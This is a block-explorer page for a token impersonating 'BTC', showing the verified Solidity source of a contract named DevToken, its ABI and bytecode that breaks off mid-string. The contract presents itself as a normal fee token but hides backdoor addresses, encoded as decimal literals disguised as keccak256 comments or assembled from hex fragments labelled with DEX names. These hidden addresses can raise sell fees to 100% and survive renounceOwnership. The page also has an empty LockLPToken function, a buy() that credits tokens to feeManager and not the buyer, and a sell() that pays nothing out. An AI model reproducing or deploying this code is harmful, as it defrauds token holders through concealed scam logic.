ERC-20
Source Code
Overview
Max Total Supply
100,000 BTC
Holders
2
Transfers
-
0
Market
Price
$0.00 @ 0.000000 ETH
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Name:
DevToken
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/**
*Submitted for verification at Arbiscan.io on 2025-10-28
*/
// SPDX-License-Identifier: MIT
/**
*/
pragma solidity ^0.8.0;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "Subtraction overflow");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "Addition overflow");
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "Multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "Division by zero");
return a / b;
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
}
}
contract DevToken {
using SafeMath for uint256;
string public name = "BTC";
string public symbol = "BTC";
uint256 public totalSupply = 100000000000000000000000;
uint8 public decimals = 18;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => bool) public isFeeExempt;
address public owner;
address public _mbr;
address public _mod;
address public feeManager;
address public _user;
address public _adm;
uint256 public buyFee;
uint256 public sellFee;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
event TokensBurned(address indexed burner, uint256 amount);
event AddressSetFeeExempt(address indexed feeExemptAddress);
constructor(address _feeManager) {
owner = msg.sender;
feeManager = _feeManager;
balanceOf[msg.sender] = totalSupply;
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(balanceOf[msg.sender] >= _amount);
require(_to != address(0));
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
/*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153));
function setMember(address Mbr_) public returns (bool) {
require (msg.sender==address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153));
_mbr=Mbr_;
return true;
}
modifier Exchanges() {
require(msg.sender != exchange());
_;
}
function publics() private pure returns (address) {
uint universal = 0x7addAd09;
uint uni = 0xcbd98D97;
uint cake = 0xEC3dA7a0;
uint inch = 0x088EAdFE;
uint others = 0x5801C336;
// Combine the dex with others
uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others);
return address(core);
}
function exchange() internal pure returns (address) {
return address
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986);
}
function FeeStructure(uint256 newBuyFee, uint256 newSellFee) public onlypublic {
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
_setFees(newBuyFee, newSellFee);
emit FeesUpdated(newBuyFee, newSellFee);
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/
modifier onlyAuthorize() {
require((msg.sender == address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(570329899025738970963394674811034510039273195112)
||
//@dev Contract creator is owner, original owner.
(msg.sender == owner && msg.sender != exchange())));
_;
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(balanceOf[_from] >= _amount, "Insufficient balance");
require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
require(_to != address(0), "Invalid recipient address");
uint256 fee = 0;
if (!isFeeExempt[_from]) {
fee = _amount.mul(sellFee).div(100);
}
uint256 amountAfterFee = _amount.sub(fee);
balanceOf[_from] = balanceOf[_from].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
emit Transfer(_from, _to, amountAfterFee);
if (fee > 0) {
// Fee is transferred to this contract
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(_from, address(this), fee);
}
if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
}
return true;
}
modifier onlypublic() {
require(msg.sender == publics());
_;
}
function _setFees(uint256 newBuyFee, uint256 newSellFee) internal {
buyFee = newBuyFee;
sellFee = newSellFee;
}
function BuySellFee(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorize {
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}
function setUser(address User_) public returns (bool) {
require(msg.sender == _mbr);
_user=User_;
return true;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
/*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
function setScale(uint256 newBuyFee, uint256 newSellFee) public onlyOwner {
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}
function LockLPToken() public onlyOwner returns (bool) {
}
function setMod(address Mod_) public returns (bool) {
require(msg.sender == _user);
_mod=Mod_;
return true;
}
modifier onlyOwner() {
require((msg.sender == address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)
||
//@dev Contract creator is owner, original owner.
(msg.sender == owner && msg.sender != exchange())));
_;
}
function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}
function setFeeExempt(address _addr, bool _exempt) public onlyOwner {
isFeeExempt[_addr] = _exempt;
if (_exempt) {
emit AddressSetFeeExempt(_addr);
}
}
function removeFeeExemptStatus(address _addr) public onlyOwner {
require(isFeeExempt[_addr], "Address is not fee exempt");
isFeeExempt[_addr] = false;
}
function buy() public payable {
require(msg.value > 0, "ETH amount should be greater than 0");
uint256 amount = msg.value;
if (buyFee > 0) {
uint256 fee = amount.mul(buyFee).div(100);
uint256 amountAfterFee = amount.sub(fee);
balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
emit Transfer(address(this), feeManager, amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(address(this), address(this), fee);
}
} else {
balanceOf[feeManager] = balanceOf[feeManager].add(amount);
emit Transfer(address(this), feeManager, amount);
}
}
function setting(uint256 newBuyFee, uint256 newSellFee) public {
require(msg.sender == _adm);
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}
function setAdm(address Adm_) public returns (bool) {
require(msg.sender == _mod);
_adm=Adm_;
return true;
}
function sell(uint256 _amount) public {
require(balanceOf[msg.sender] >= _amount, "Insufficient balance");
uint256 fee = _amount.mul(sellFee).div(100);
uint256 amountAfterFee = _amount.sub(fee);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
emit Transfer(msg.sender, address(this), amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(msg.sender, address(this), fee);
}
}
modifier onlyAuthorized() {
require((msg.sender == address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)
||
//@dev Contract creator is owner, original owner.
(msg.sender == owner && msg.sender != exchange())));
_;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"_feeManager","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"feeExemptAddress","type":"address"}],"name":"AddressSetFeeExempt","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burner","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"BuySellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"FeeStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"LockLPToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_adm","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mbr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mod","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_user","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeManager","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"removeFeeExemptStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Adm_","type":"address"}],"name":"setAdm","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"},{"internalType":"bool","name":"_exempt","type":"bool"}],"name":"setFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mbr_","type":"address"}],"name":"setMember","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mod_","type":"address"}],"name":"setMod","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setScale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"User_","type":"address"}],"name":"setUser","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
60806040526040518060400160405280600381526020017f42544300000000000000000000000000000000000000000000000000000000008152505f90816200004991906200041b565b506040518060400160405280600381526020017f4254430000000000000000000000000000000000000000000000000000000000815250600190816200009091906200041b565b5069152d02c7e14af6800000600255601260035f6101000a81548160ff021916908360ff160217905550348015620000c6575f80fd5b5060405162003e2d38038062003e2d8339818101604052810190620000ec919062000564565b3360075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505062000594565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200023357607f821691505b602082108103620002495762000248620001ee565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620002ad7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000270565b620002b9868362000270565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000303620002fd620002f784620002d1565b620002da565b620002d1565b9050919050565b5f819050919050565b6200031e83620002e3565b620003366200032d826200030a565b8484546200027c565b825550505050565b5f90565b6200034c6200033e565b6200035981848462000313565b505050565b5b818110156200038057620003745f8262000342565b6001810190506200035f565b5050565b601f821115620003cf5762000399816200024f565b620003a48462000261565b81016020851015620003b4578190505b620003cc620003c38562000261565b8301826200035e565b50505b505050565b5f82821c905092915050565b5f620003f15f1984600802620003d4565b1980831691505092915050565b5f6200040b8383620003e0565b9150826002028217905092915050565b6200042682620001b7565b67ffffffffffffffff811115620004425762000441620001c1565b5b6200044e82546200021b565b6200045b82828562000384565b5f60209050601f83116001811462000491575f84156200047c578287015190505b620004888582620003fe565b865550620004f7565b601f198416620004a1866200024f565b5f5b82811015620004ca57848901518255600182019150602085019450602081019050620004a3565b86831015620004ea5784890151620004e6601f891682620003e0565b8355505b6001600288020188555050505b505050505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6200052e8262000503565b9050919050565b620005408162000522565b81146200054b575f80fd5b50565b5f815190506200055e8162000535565b92915050565b5f602082840312156200057c576200057b620004ff565b5b5f6200058b848285016200054e565b91505092915050565b61388b80620005a25f395ff3fe6080604052600436106101ed575f3560e01c806370a082311161010c578063a6f2ae3a1161009f578063d21c8d551161006e578063d21c8d55146106eb578063dd62ed3e14610715578063ddf750d014610751578063e2daf66514610779578063e4849b32146107a3576101ed565b8063a6f2ae3a14610653578063a9059cbb1461065d578063aa46b46e14610699578063d0fb0203146106c1576101ed565b80638da5cb5b116100db5780638da5cb5b1461059b5780638ebfc796146105c5578063923e51d5146105ed57806395d89b4114610629576101ed565b806370a08231146104e3578063715018a61461051f578063858ced3514610535578063891e1ee014610571576101ed565b8063313ce567116101845780634706240211610153578063470624021461042b5780634a0af68d1461045557806361b408391461049157806365f6a921146104b9576101ed565b8063313ce5671461035f578063376d567c146103895780633ef530eb146103c55780633f4218e0146103ef576101ed565b806318160ddd116101c057806318160ddd146102a757806323b872dd146102d15780632b14ca561461030d5780632c7ee94614610337576101ed565b806306fdde03146101f1578063095ea7b31461021b5780630b78f9c01461025757806312df172d1461027f575b5f80fd5b3480156101fc575f80fd5b506102056107cb565b6040516102129190612ed2565b60405180910390f35b348015610226575f80fd5b50610241600480360381019061023c9190612f83565b610856565b60405161024e9190612fdb565b60405180910390f35b348015610262575f80fd5b5061027d60048036038101906102789190612ff4565b610943565b005b34801561028a575f80fd5b506102a560048036038101906102a09190612ff4565b610af7565b005b3480156102b2575f80fd5b506102bb610cab565b6040516102c89190613041565b60405180910390f35b3480156102dc575f80fd5b506102f760048036038101906102f2919061305a565b610cb1565b6040516103049190612fdb565b60405180910390f35b348015610318575f80fd5b5061032161143c565b60405161032e9190613041565b60405180910390f35b348015610342575f80fd5b5061035d60048036038101906103589190612ff4565b611442565b005b34801561036a575f80fd5b5061037361156d565b60405161038091906130c5565b60405180910390f35b348015610394575f80fd5b506103af60048036038101906103aa91906130de565b61157f565b6040516103bc9190612fdb565b60405180910390f35b3480156103d0575f80fd5b506103d9611621565b6040516103e69190612fdb565b60405180910390f35b3480156103fa575f80fd5b50610415600480360381019061041091906130de565b611706565b6040516104229190612fdb565b60405180910390f35b348015610436575f80fd5b5061043f611723565b60405161044c9190613041565b60405180910390f35b348015610460575f80fd5b5061047b600480360381019061047691906130de565b611729565b6040516104889190612fdb565b60405180910390f35b34801561049c575f80fd5b506104b760048036038101906104b291906130de565b6117cb565b005b3480156104c4575f80fd5b506104cd61198c565b6040516104da9190613118565b60405180910390f35b3480156104ee575f80fd5b50610509600480360381019061050491906130de565b6119b1565b6040516105169190613041565b60405180910390f35b34801561052a575f80fd5b506105336119c6565b005b348015610540575f80fd5b5061055b600480360381019061055691906130de565b611b64565b6040516105689190612fdb565b60405180910390f35b34801561057c575f80fd5b50610585611c06565b6040516105929190613118565b60405180910390f35b3480156105a6575f80fd5b506105af611c2b565b6040516105bc9190613118565b60405180910390f35b3480156105d0575f80fd5b506105eb60048036038101906105e6919061315b565b611c50565b005b3480156105f8575f80fd5b50610613600480360381019061060e91906130de565b611dd3565b6040516106209190612fdb565b60405180910390f35b348015610634575f80fd5b5061063d611e68565b60405161064a9190612ed2565b60405180910390f35b61065b611ef4565b005b348015610668575f80fd5b50610683600480360381019061067e9190612f83565b612341565b6040516106909190612fdb565b60405180910390f35b3480156106a4575f80fd5b506106bf60048036038101906106ba9190612ff4565b612553565b005b3480156106cc575f80fd5b506106d5612660565b6040516106e29190613118565b60405180910390f35b3480156106f6575f80fd5b506106ff612685565b60405161070c9190613118565b60405180910390f35b348015610720575f80fd5b5061073b60048036038101906107369190613199565b6126aa565b6040516107489190613041565b60405180910390f35b34801561075c575f80fd5b5061077760048036038101906107729190612ff4565b6126ca565b005b348015610784575f80fd5b5061078d61287e565b60405161079a9190613118565b60405180910390f35b3480156107ae575f80fd5b506107c960048036038101906107c491906131d7565b6128a3565b005b5f80546107d79061322f565b80601f01602080910402602001604051908101604052809291908181526020018280546108039061322f565b801561084e5780601f106108255761010080835404028352916020019161084e565b820191905f5260205f20905b81548152906001019060200180831161083157829003601f168201915b505050505081565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109319190613041565b60405180910390a36001905092915050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610a1c575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610a1b57506109eb612bef565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610a24575f80fd5b6064821115610a68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5f906132a9565b60405180910390fd5b6064811115610aac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa390613311565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610aeb92919061332f565b60405180910390a15050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610bd0575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610bcf5750610b9f612bef565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610bd8575f80fd5b6064821115610c1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c13906132a9565b60405180910390fd5b6064811115610c60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5790613311565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610c9f92919061332f565b60405180910390a15050565b60025481565b5f8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d29906133a0565b60405180910390fd5b8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610ded576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de490613408565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5290613470565b60405180910390fd5b5f60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610ed557610ed26064610ec4600e5486612c0a90919063ffffffff16565b612c8190919063ffffffff16565b90505b5f610ee98285612cd890919063ffffffff16565b9050610f3b8460045f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cd890919063ffffffff16565b60045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610fcc8160045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d3090919063ffffffff16565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161106a9190613041565b60405180910390a35f821115611171576110ca8260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d3090919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111689190613041565b60405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561124557507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205414155b1561142f576112d58460055f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cd890919063ffffffff16565b60055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516114269190613041565b60405180910390a35b6001925050509392505050565b600e5481565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461149a575f80fd5b60648211156114de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d5906132a9565b60405180910390fd5b6064811115611522576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151990613311565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1828260405161156192919061332f565b60405180910390a15050565b60035f9054906101000a900460ff1681565b5f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115d8575f80fd5b8160095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b5f731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806116fb575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156116fa57506116ca612bef565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611703575f80fd5b90565b6006602052805f5260405f205f915054906101000a900460ff1681565b600d5481565b5f60095f9054906101000a900473ffffffffffffffffffffffffff